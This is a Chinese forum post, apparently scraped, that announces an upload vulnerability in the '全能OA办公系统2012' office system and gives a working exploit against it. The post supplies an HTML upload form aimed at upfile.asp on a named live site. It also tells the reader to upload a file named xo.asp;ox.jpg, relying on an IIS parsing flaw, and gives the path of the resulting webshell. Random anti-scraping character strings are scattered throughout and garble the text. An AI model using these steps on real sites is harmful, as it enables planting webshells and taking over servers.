全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
' H1 j3 K$ m: j0 H% ^- C  k​
; i) [! E- Q9 d$ ~" @+ X4 m0 o4 {系统介绍：

全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。

; a: s+ G" b+ ]( T主要功能：
6 ?$ z9 J* f" ^* r" y公司通告
工作计划
通讯助理
客户资源
+ f1 J& k$ e5 \. d7 A我的公文
公文传阅
: N/ k# b# X3 d, D1 H公共资源
资源预约
今日考勤
个人计划
个人通讯录
  r" C- n& O( m/ u3 @! o* v% d- M; a个人基本档案
- u. ^- |; z! U/ C: D: _未读邮件
6 Q0 k2 D5 D% ?% N: `6 F发邮件
收件夹
寄件夹
$ F9 R; a3 q9 u3 M& B. W  n网络硬盘
' x3 b" |7 T) x& f网络会议
网络调查
  l! a7 M+ S+ q6 N9 J' V# E) o交流论坛
. m) q; @) x7 Y1 z2 v
; ^; A9 `- w0 B/ N7 I" ~& K: K有兴趣测试的朋友可以下源码看看

/ V, z- t3 K; o7 ^. H$ n, j: [; X' B源码下载：

http://www.mycodes.net/30/4750.htm
2 d3 B: ?; _; ?+ ]6 x; I; t
漏洞介绍：
( e+ S. R# f9 l
( n3 o8 T7 W: d9 N由upfile.asp上传文件漏洞引起

测试方法：

3 l2 G( Q& R" x, H' e6 h使用名小子上传http://www.itlynn.com/upfile.asp即可
+ c& M  ?/ w# F' m7 D, X' P' @
如果upfile.asp文件被删除不存在。
* S, `, N% U7 e, i- R  T1 Q
/ E0 `/ A8 z6 K( G3 p3 H5 ~  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。

如果存在那么将如下代码保存为upfile.html。
& M: |6 {4 H5 ]! ?! R' F
1 m/ u1 q# ^; y# h% n. u, S然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。
0 b  E2 l% [9 t; ^) ^( h

0 z! s; F7 a( d
/ i* R  Z) c" F; R% u01 <table border='0' align="center" cellpadding="5">

02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">

1 i3 I5 I: E. ~03 <tr>
$ i7 y/ q  y  p
7 A8 x1 l! w! {. b04             <td>报错：</td>

05             <td><input type='radio' name='errnumber' value='0'>

' f4 \! h2 I/ L5 m! X& U& r$ H: q06               自动更名

. d# g* U/ n/ K8 p0 X' T07               <input type='radio' name='errnumber' value='1' checked>

) q0 K: F  B+ ?0 e) r7 c/ J0 R- E# X08               报错方式
) ]2 B7 g+ w# Q' w/ s8 O! ]
) R/ j7 R+ C3 Z/ Q% E09               <input type='radio' name='errnumber' value='2'>
6 G1 k9 h! B0 Z! Z" l
. p! Y! ?+ H! _4 E) V10               直接覆盖</td>
- ~( S& x' R+ ^# C7 B5 h1 O2 _- e
/ z- B( R* ]& |, G% a11           </tr>
9 i& C& @/ w/ \  e1 B# S5 C$ d* e
12           <tr>
) p3 b, }) h5 x! h4 @; |% q  b
13             <td>主题：</td>

/ B& l/ {) s$ ?: o: C% \- z14             <td><input type='text' name='filename' size='30'></td>
. }, e  A6 P1 e$ v# m' T
15           </tr>

2 e% I' A; I/ b# f, [9 z1 w% n, ?16           <tr>
  r  j- M& k+ X5 A
' l$ e7 N4 W: Q% w17             <td>文件：</td>
' _- |7 j/ L2 ], ~0 v; p1 K( f
18             <td><input type="file"name="fruit"size="30"></td>

19           </tr>
6 x0 V1 F6 Q! V5 o4 \9 A2 p, P
5 d5 J0 \& v% Y7 e+ \( i8 h$ a: }20           <tr>

21             <td valign='top'>简介：</td>
$ T- |% r; d# P( W! R
22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>
9 L1 S  }: a6 f8 ?- e# \
1 o/ M1 ^$ m, ]' c+ ?23           </tr>

. p  H7 D! A. I9 _9 m' o7 A24   
% c7 n; Y5 q8 ]9 B9 _8 j/ Z! d# Z$ X
! A; Z& b- d/ Y' h3 l' S25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>
* U1 i2 j: B" s4 {3 i8 S
26           </tr>
& Q4 L6 B  ?; J- b8 E
# Q- y; \$ b% |; S; K! \27         </form>
  V8 H  a  n) D  {7 w3 Q
然后打开上传一个文件名为xo.asp;ox.jpg的文件。

4 `8 ^& Y/ k# ^! `, g3 b# p- Y1 ]
. A1 H6 Q3 E( ~- N) }( u5 q  O
8 n9 j3 O- ~8 }  Z) T7 u上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg
: ~7 C. Y% w# N6 {' F; x
$ G+ d6 p) j; e6 b/ c$ c此漏洞需要配合解析漏洞利用。

# ^3 P: e1 d* P3 y) J